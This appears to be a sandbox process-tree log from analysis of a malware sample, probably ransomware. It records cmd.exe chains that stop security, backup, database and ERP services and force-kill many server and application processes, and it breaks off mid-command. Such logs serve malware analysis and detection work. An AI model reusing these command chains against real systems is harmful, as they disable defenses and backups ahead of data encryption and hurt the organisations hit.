C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ServiceMid9⤵PID:6784
-
-
-
C:\Windows\system32\net.exenet stop 360EntPGSvc8⤵PID:6000
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop 360EntPGSvc9⤵PID:1416
-
-
-
C:\Windows\system32\net.exenet stop ClickToRunSvc8⤵PID:7028
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ClickToRunSvc9⤵PID:5192
-
-
-
C:\Windows\system32\net.exenet stop RavTask8⤵PID:5936
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RavTask9⤵PID:5384
-
-
-
C:\Windows\system32\net.exenet stop AngelOfDeath8⤵PID:10032
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AngelOfDeath9⤵PID:9596
-
-
-
C:\Windows\system32\net.exenet stop d_safe8⤵PID:7312
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop d_safe9⤵PID:7388
-
-
-
C:\Windows\system32\net.exenet stop NFLicenceServer8⤵PID:5136
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NFLicenceServer9⤵PID:2044
-
-
-
C:\Windows\system32\net.exenet stop "NetVault Process Manager"8⤵PID:7968
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "NetVault Process Manager"9⤵PID:4352
-
-
-
C:\Windows\system32\net.exenet stop RavService8⤵PID:7492
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RavService9⤵PID:9944
-
-
-
C:\Windows\system32\net.exenet stop DFServ8⤵PID:5348
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DFServ9⤵PID:7456
-
-
-
C:\Windows\system32\net.exenet stop IngressMgr8⤵PID:8432
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop IngressMgr9⤵PID:3024
-
-
-
C:\Windows\system32\net.exenet stop EvtSys8⤵PID:7120
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EvtSys9⤵PID:8944
-
-
-
C:\Windows\system32\net.exenet stop K3ClouManager8⤵PID:1708
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop K3ClouManager9⤵PID:7800
-
-
-
C:\Windows\system32\net.exenet stop NFVPrintServer8⤵PID:2844
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NFVPrintServer9⤵PID:5568
-
-
-
C:\Windows\system32\net.exenet stop RTCAVMCU8⤵PID:5620
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RTCAVMCU9⤵PID:868
-
-
-
C:\Windows\system32\net.exenet stop CobianBackup108⤵PID:9592
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CobianBackup109⤵PID:5336
-
-
-
C:\Windows\system32\net.exenet stop GNWebService8⤵PID:5352
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GNWebService9⤵PID:3512
-
-
-
C:\Windows\system32\net.exenet stop Mysoft.SchedulingService8⤵PID:8704
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Mysoft.SchedulingService9⤵PID:8320
-
-
-
C:\Windows\system32\net.exenet stop AgentX8⤵PID:9032
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AgentX9⤵PID:10064
-
-
-
C:\Windows\system32\net.exenet stop SentinelKeysServer8⤵PID:6500
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SentinelKeysServer9⤵PID:6536
-
-
-
C:\Windows\system32\net.exenet stop DGPNPSEV8⤵PID:4832
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DGPNPSEV9⤵PID:3020
-
-
-
C:\Windows\system32\net.exenet stop TurboCRM708⤵PID:1112
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TurboCRM709⤵PID:10000
-
-
-
C:\Windows\system32\net.exenet stop NFSysService8⤵PID:5384
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NFSysService9⤵PID:7952
-
-
-
C:\Windows\system32\net.exenet stop U8DispatchService8⤵PID:8668
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8DispatchService9⤵PID:9468
-
-
-
C:\Windows\system32\net.exenet stop NFOTPService8⤵PID:8916
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NFOTPService9⤵PID:6472
-
-
-
C:\Windows\system32\net.exenet stop U8EISService8⤵PID:7456
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8EISService9⤵PID:7052
-
-
-
C:\Windows\system32\net.exenet stop U8EncryptService8⤵PID:9992
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8EncryptService9⤵PID:10204
-
-
-
C:\Windows\system32\net.exenet stop U8GCService8⤵PID:5068
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8GCService9⤵PID:5700
-
-
-
C:\Windows\system32\net.exenet stop U8KeyManagePool8⤵PID:4320
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8KeyManagePool9⤵PID:7196
-
-
-
C:\Windows\system32\net.exenet stop U8MPool8⤵PID:6012
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8MPool9⤵PID:9712
-
-
-
C:\Windows\system32\net.exenet stop U8SCMPool8⤵PID:6212
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8SCMPool9⤵PID:7696
-
-
-
C:\Windows\system32\net.exenet stop U8SLReportService8⤵PID:1116
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8SLReportService9⤵PID:5748
-
-
-
C:\Windows\system32\net.exenet stop U8TaskService8⤵PID:3664
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8TaskService9⤵PID:4284
-
-
-
C:\Windows\system32\net.exenet stop U8WebPool8⤵PID:9808
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8WebPool9⤵PID:3976
-
-
-
C:\Windows\system32\net.exenet stop UFAllNet8⤵PID:10188
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop UFAllNet9⤵PID:7516
-
-
-
C:\Windows\system32\net.exenet stop UFReportService8⤵PID:624
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop UFReportService9⤵PID:284
-
-
-
C:\Windows\system32\net.exenet stop UTUService8⤵PID:7152
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop UTUService9⤵PID:8824
-
-
-
-
C:\Windows\system32\cmd.execmd /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer & @net stop mysqltransport & @net stop VMnetDHCP & @net stop "VMware NAT Service" & @net stop Tomcat8 & @net stop TeamViewer & @net stop QPCore & @net stop CASLicenceServer & @net stop CASWebServer & @net stop AutoUpdateService & @net stop "Alibaba Security Aegis Detect Service" & @net stop "Alibaba Security Aegis Update Service" & @net stop "AliyunService" & @net stop CASXMLService & @net stop AGSService & @net stop RapService & @net stop DDNSService & @net stop iNethinkSQLBackupSvc & @net stop CASVirtualDiskService & @net stop CASMsgSrv & @net stop "OracleOraDb10g_homeliSQL*Plus" & @net stop OracleDBConsoleilas & @net stop MySQL & @net stop TPlusStdAppService1220 & @net stop TPlusStdTaskService1220 & @net stop TPlusStdUpgradeService1220 & @net stop K3MobileServiceManage & @net stop "FileZilla Server" & @net stop DDVRulesProcessor & @net stop ImtsEventSvr & @net stop AutoUpdatePatchService & @net stop OMAILREPORT & @net stop "Dell Hardware Support" & @net stop SupportAssistAgent & @net stop K3MMainSuspendService & @net stop KpService & @net stop ceng_web_svc_d & @net stop KugouService & @net stop pcas & @net stop U8SendMailAdmin & @net stop "Bonjour Service" & @net stop "Apple Mobile Device Service" & @net stop "ABBYY.Licensing.FineReader.Professional.12.0""7⤵PID:3632
-
C:\Windows\system32\net.exenet stop UIODetect8⤵PID:624
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop UIODetect9⤵PID:6104
-
-
-
C:\Windows\system32\net.exenet stop VMwareHostd8⤵PID:4360
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VMwareHostd9⤵PID:1888
-
-
-
C:\Windows\system32\net.exenet stop TeamViewer88⤵
- Discovers systems in the same network
PID:6768 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TeamViewer89⤵PID:3612
-
-
-
C:\Windows\system32\net.exenet stop VMUSBArbService8⤵PID:6804
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VMUSBArbService9⤵PID:6656
-
-
-
C:\Windows\system32\net.exenet stop VMAuthdService8⤵PID:316
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VMAuthdService9⤵PID:7048
-
-
-
C:\Windows\system32\net.exenet stop wanxiao-monitor8⤵PID:3728
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wanxiao-monitor9⤵PID:5128
-
-
-
C:\Windows\system32\net.exenet stop WebAttendServer8⤵PID:6896
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WebAttendServer9⤵PID:3592
-
-
-
C:\Windows\system32\net.exenet stop mysqltransport8⤵PID:6800
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mysqltransport9⤵PID:6256
-
-
-
C:\Windows\system32\net.exenet stop VMnetDHCP8⤵PID:6032
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VMnetDHCP9⤵PID:6216
-
-
-
C:\Windows\system32\net.exenet stop "VMware NAT Service"8⤵PID:6952
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VMware NAT Service"9⤵PID:4232
-
-
-
C:\Windows\system32\net.exenet stop Tomcat88⤵PID:5656
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Tomcat89⤵PID:6352
-
-
-
C:\Windows\system32\net.exenet stop TeamViewer8⤵
- Discovers systems in the same network
PID:3640 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TeamViewer9⤵PID:6224
-
-
-
C:\Windows\system32\net.exenet stop QPCore8⤵PID:6856
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QPCore9⤵PID:6684
-
-
-
C:\Windows\system32\net.exenet stop CASLicenceServer8⤵PID:788
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASLicenceServer9⤵PID:5952
-
-
-
C:\Windows\system32\net.exenet stop CASWebServer8⤵PID:2916
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASWebServer9⤵PID:5552
-
-
-
C:\Windows\system32\net.exenet stop AutoUpdateService8⤵PID:4856
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AutoUpdateService9⤵PID:5856
-
-
-
C:\Windows\system32\net.exenet stop "Alibaba Security Aegis Detect Service"8⤵PID:6460
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Detect Service"9⤵PID:5428
-
-
-
C:\Windows\system32\net.exenet stop "Alibaba Security Aegis Update Service"8⤵PID:6152
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Update Service"9⤵PID:3880
-
-
-
C:\Windows\system32\net.exenet stop "AliyunService"8⤵PID:7088
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "AliyunService"9⤵PID:5844
-
-
-
C:\Windows\system32\net.exenet stop CASXMLService8⤵PID:5828
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASXMLService9⤵PID:7904
-
-
-
C:\Windows\system32\net.exenet stop AGSService8⤵PID:7212
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AGSService9⤵PID:4832
-
-
-
C:\Windows\system32\net.exenet stop RapService8⤵PID:5960
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RapService9⤵PID:3020
-
-
-
C:\Windows\system32\net.exenet stop DDNSService8⤵PID:8124
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DDNSService9⤵PID:7512
-
-
-
C:\Windows\system32\net.exenet stop iNethinkSQLBackupSvc8⤵PID:1732
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop iNethinkSQLBackupSvc9⤵PID:7924
-
-
-
C:\Windows\system32\net.exenet stop CASVirtualDiskService8⤵PID:6944
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASVirtualDiskService9⤵PID:6072
-
-
-
C:\Windows\system32\net.exenet stop CASMsgSrv8⤵PID:4792
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASMsgSrv9⤵PID:2688
-
-
-
C:\Windows\system32\net.exenet stop "OracleOraDb10g_homeliSQL*Plus"8⤵PID:7432
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "OracleOraDb10g_homeliSQL*Plus"9⤵PID:7524
-
-
-
C:\Windows\system32\net.exenet stop OracleDBConsoleilas8⤵PID:8024
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop OracleDBConsoleilas9⤵PID:4384
-
-
-
C:\Windows\system32\net.exenet stop MySQL8⤵PID:9624
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MySQL9⤵PID:7372
-
-
-
C:\Windows\system32\net.exenet stop TPlusStdAppService12208⤵PID:8828
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdAppService12209⤵PID:9796
-
-
-
C:\Windows\system32\net.exenet stop TPlusStdTaskService12208⤵PID:6152
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdTaskService12209⤵PID:7252
-
-
-
C:\Windows\system32\net.exenet stop TPlusStdUpgradeService12208⤵PID:8368
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdUpgradeService12209⤵PID:6212
-
-
-
C:\Windows\system32\net.exenet stop K3MobileServiceManage8⤵PID:6708
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop K3MobileServiceManage9⤵PID:3724
-
-
-
C:\Windows\system32\net.exenet stop "FileZilla Server"8⤵PID:7032
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "FileZilla Server"9⤵PID:3172
-
-
-
C:\Windows\system32\net.exenet stop DDVRulesProcessor8⤵PID:9724
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DDVRulesProcessor9⤵PID:2284
-
-
-
C:\Windows\system32\net.exenet stop ImtsEventSvr8⤵PID:5340
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ImtsEventSvr9⤵PID:8244
-
-
-
C:\Windows\system32\net.exenet stop AutoUpdatePatchService8⤵PID:6752
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AutoUpdatePatchService9⤵PID:8524
-
-
-
C:\Windows\system32\net.exenet stop OMAILREPORT8⤵PID:9920
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop OMAILREPORT9⤵PID:7560
-
-
-
C:\Windows\system32\net.exenet stop "Dell Hardware Support"8⤵PID:9604
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Dell Hardware Support"9⤵PID:5488
-
-
-
C:\Windows\system32\net.exenet stop SupportAssistAgent8⤵PID:7676
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SupportAssistAgent9⤵PID:5460
-
-
-
C:\Windows\system32\net.exenet stop K3MMainSuspendService8⤵PID:8336
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop K3MMainSuspendService9⤵PID:4400
-
-
-
C:\Windows\system32\net.exenet stop KpService8⤵PID:6276
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KpService9⤵PID:7964
-
-
-
C:\Windows\system32\net.exenet stop ceng_web_svc_d8⤵PID:7272
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ceng_web_svc_d9⤵PID:9940
-
-
-
C:\Windows\system32\net.exenet stop KugouService8⤵PID:4876
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KugouService9⤵PID:9316
-
-
-
C:\Windows\system32\net.exenet stop pcas8⤵PID:9096
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop pcas9⤵PID:400
-
-
-
C:\Windows\system32\net.exenet stop U8SendMailAdmin8⤵PID:8896
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8SendMailAdmin9⤵PID:7452
-
-
-
C:\Windows\system32\net.exenet stop "Bonjour Service"8⤵PID:9048
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Bonjour Service"9⤵PID:3996
-
-
-
C:\Windows\system32\net.exenet stop "Apple Mobile Device Service"8⤵PID:7572
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Apple Mobile Device Service"9⤵PID:6336
-
-
-
C:\Windows\system32\net.exenet stop "ABBYY.Licensing.FineReader.Professional.12.0"8⤵PID:7540
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "ABBYY.Licensing.FineReader.Professional.12.0"9⤵PID:1444
-
-
-
-
C:\Windows\system32\cmd.execmd /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM reportingservicesservice.exe /F & @taskkill /IM softmgrlite.exe /F & @taskkill /IM sqlbrowser.exe /F & @taskkill /IM ssms.exe /F & @taskkill /IM vmtoolsd.exe /F & @taskkill /IM baidunetdisk.exe /F & @taskkill /IM yundetectservice.exe /F & @taskkill /IM ssclient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM RAVCp164.exe /F & @taskkill /IM igfxEM.exe /F & @taskkill /IM igfxHK.exe /F & @taskkill /IM igfxTray.exe /F & @taskkill /IM 360bdoctor.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM PrivacyIconClient.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM GoogleCrashHandler.exe /F & @taskkill /IM GoogleCrashHandler64.exe /F & @taskkill /IM GoogleUpdate.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM "FileZilla server.exe" /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM Admin.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM tomcat7.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM Kingdee.K3.CRM.MMC.MMCService.exe /F & @taskkill /IM Kingdee.k3.Weixin.ClientService.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM ImtsEventSvr.exe /F & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM 360EnterpriseDiskUI.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM tomcat8.exe /F & @taskkill /IM QQprotect.exe /F & @taskkill /IM isqlplussvc.exe /F & @taskkill /IM nmesrvc.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM jusched.exe /F & @taskkill /IM MtxHotPlugService.exe /F & @taskkill /IM jucheck.exe /F & @taskkill /IM wordpad.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM chrome.exe /F & @taskkill /IM Thunder.exe /F"7⤵PID:6868
-
C:\Windows\system32\taskkill.exetaskkill /IM sqlservr.exe /F8⤵PID:3692
-
-
C:\Windows\system32\taskkill.exetaskkill /IM httpd.exe /F8⤵PID:2608
-
-
C:\Windows\system32\taskkill.exetaskkill /IM java.exe /F8⤵PID:1508
-
-
C:\Windows\system32\taskkill.exetaskkill /IM fdhost.exe /F8⤵
- Kills process with taskkill
PID:5228
-
-
C:\Windows\system32\taskkill.exetaskkill /IM fdlauncher.exe /F8⤵PID:5844
-
-
C:\Windows\system32\taskkill.exetaskkill /IM reportingservicesservice.exe /F8⤵PID:464
-
-
C:\Windows\system32\taskkill.exetaskkill /IM softmgrlite.exe /F8⤵PID:4928
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sqlbrowser.exe /F8⤵PID:4528
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ssms.exe /F8⤵
- Kills process with taskkill
PID:6580
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vmtoolsd.exe /F8⤵PID:2256
-
-
C:\Windows\system32\taskkill.exetaskkill /IM baidunetdisk.exe /F8⤵PID:3476
-
-
C:\Windows\system32\taskkill.exetaskkill /IM yundetectservice.exe /F8⤵PID:4320
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ssclient.exe /F8⤵PID:3408
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GNAupdaemon.exe /F8⤵
- Kills process with taskkill
PID:4984
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RAVCp164.exe /F8⤵PID:1744
-
-
C:\Windows\system32\taskkill.exetaskkill /IM igfxEM.exe /F8⤵PID:5404
-
-
C:\Windows\system32\taskkill.exetaskkill /IM igfxHK.exe /F8⤵PID:6956
-
-
C:\Windows\system32\taskkill.exetaskkill /IM igfxTray.exe /F8⤵PID:7312
-
-
C:\Windows\system32\taskkill.exetaskkill /IM 360bdoctor.exe /F8⤵PID:5240
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GNCEFExternal.exe /F8⤵PID:5024
-
-
C:\Windows\system32\taskkill.exetaskkill /IM PrivacyIconClient.exe /F8⤵PID:7764
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UIODetect.exe /F8⤵PID:3020
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AutoDealService.exe /F8⤵PID:10008
-
-
C:\Windows\system32\taskkill.exetaskkill /IM IDDAService.exe /F8⤵PID:5832
-
-
C:\Windows\system32\taskkill.exetaskkill /IM EnergyDataService.exe /F8⤵PID:8884
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MPService.exe /F8⤵PID:7244
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TransMain.exe /F8⤵PID:5764
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DAService.exe /F8⤵PID:9328
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GoogleCrashHandler.exe /F8⤵PID:1220
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GoogleCrashHandler64.exe /F8⤵PID:6408
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GoogleUpdate.exe /F8⤵PID:5024
-
-
C:\Windows\system32\taskkill.exetaskkill /IM cohernece.exe /F8⤵PID:8948
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vmware-tray.exe /F8⤵PID:9256
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MsDtsSrvr.exe /F8⤵
- Kills process with taskkill
PID:5996
-
-
C:\Windows\system32\taskkill.exetaskkill /IM msmdsrv.exe /F8⤵PID:7804
-
-
C:\Windows\system32\taskkill.exetaskkill /IM "FileZilla server.exe" /F8⤵PID:4348
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UpdateData.exe /F8⤵PID:7968
-
-
C:\Windows\system32\taskkill.exetaskkill /IM WebApi.Host.exe /F8⤵PID:9192
-
-
C:\Windows\system32\taskkill.exetaskkill /IM VGAuthService.exe /F8⤵
- Kills process with taskkill
PID:1304
-
-
C:\Windows\system32\taskkill.exetaskkill /IM omtsreco.exe /F8⤵PID:5192
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TNSLSNR.exe /F8⤵PID:1116
-
-
C:\Windows\system32\taskkill.exetaskkill /IM oracle.exe /F8⤵PID:7628
-
-
C:\Windows\system32\taskkill.exetaskkill /IM msdtc.exe /F8⤵PID:10064
-
-
C:\Windows\system32\taskkill.exetaskkill /IM mmc.exe /F8⤵PID:1028
-
-
C:\Windows\system32\taskkill.exetaskkill /IM emagent.exe /F8⤵PID:6408
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SoftMgrLite.exe /F8⤵PID:9372
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UIODetect.exe /F8⤵PID:8568
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AutoDealService.exe /F8⤵PID:7380
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Admin.exe /F8⤵PID:10040
-
-
C:\Windows\system32\taskkill.exetaskkill /IM IDDAService.exe /F8⤵PID:10224
-
-
C:\Windows\system32\taskkill.exetaskkill /IM EnergyDataService.exe /F8⤵PID:7624
-
-
C:\Windows\system32\taskkill.exetaskkill /IM EnterprisePortal.exe /F8⤵PID:9632
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MPService.exe /F8⤵
- Kills process with taskkill
PID:2280
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TransMain.exe /F8⤵PID:9584
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DAService.exe /F8⤵PID:8212
-
-
C:\Windows\system32\taskkill.exetaskkill /IM tomcat7.exe /F8⤵PID:5448
-
-
C:\Windows\system32\taskkill.exetaskkill /IM cohernece.exe /F8⤵PID:9136
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vmware-tray.exe /F8⤵PID:2360
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MsDtsSrvr.exe /F8⤵
- Kills process with taskkill
PID:7356
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Kingdee.K3.CRM.MMC.MMCService.exe /F8⤵PID:8248
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Kingdee.k3.Weixin.ClientService.exe /F8⤵PID:1088
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F8⤵PID:6640
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Kingdee.K3.HR.Server.exe /F8⤵PID:6652
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F8⤵PID:9308
-
-
C:\Windows\system32\taskkill.exetaskkill /IM tomcat5.exe /F8⤵PID:6392
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Kingdee.DeskTool.exe /F8⤵PID:7104
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UserClient.exe /F8⤵PID:8224
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GNAupdaemon.exe /F8⤵PID:9612
-
-
C:\Windows\system32\taskkill.exetaskkill /IM mysqld.exe /F8⤵PID:7792
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ImtsEventSvr.exe /F8⤵PID:8380
-
-
C:\Windows\system32\taskkill.exetaskkill /IM mysqld-nt.exe /F8⤵PID:5732
-
-
C:\Windows\system32\taskkill.exetaskkill /IM 360EnterpriseDiskUI.exe /F8⤵PID:3164
-
-
C:\Windows\system32\taskkill.exetaskkill /IM msmdsrv.exe /F8⤵PID:9288
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UpdateData.exe /F8⤵PID:7116
-
-
C:\Windows\system32\taskkill.exetaskkill /IM WebApi.Host.exe /F8⤵PID:7292
-
-
C:\Windows\system32\taskkill.exetaskkill /IM VGAuthService.exe /F8⤵PID:6176
-
-
C:\Windows\system32\taskkill.exetaskkill /IM omtsreco.exe /F8⤵
- Kills process with taskkill
PID:9260
-
-
-
C:\Windows\system32\cmd.execmd /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & @taskkill /IM cygrunsrv.exe /F & @taskkill /IM wrapper.exe /F & @taskkill /IM nginx.exe /F & @taskkill /IM node.exe /F & @taskkill /IM sshd.exe /F & @taskkill /IM vm-tray.exe /F & @taskkill /IM iempwatchdog.exe /F & @taskkill /IM sqlwriter.exe /F & @taskkill /IM php.exe /F & @taskkill /IM "notepad++.exe" /F & @taskkill /IM "phpStudy.exe" /F & @taskkill /IM OPCClient.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM SupportAssistAgent.exe /F & @taskkill /IM SunloginClient.exe /F & @taskkill /IM SOUNDMAN.exe /F & @taskkill /IM WeChat.exe /F & @taskkill /IM TXPlatform.exe /F & @taskkill /IM Tencentdll.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM jenkins.exe /F & @taskkill /IM QQ.exe /F & @taskkill /IM HaoZip.exe /F & @taskkill /IM 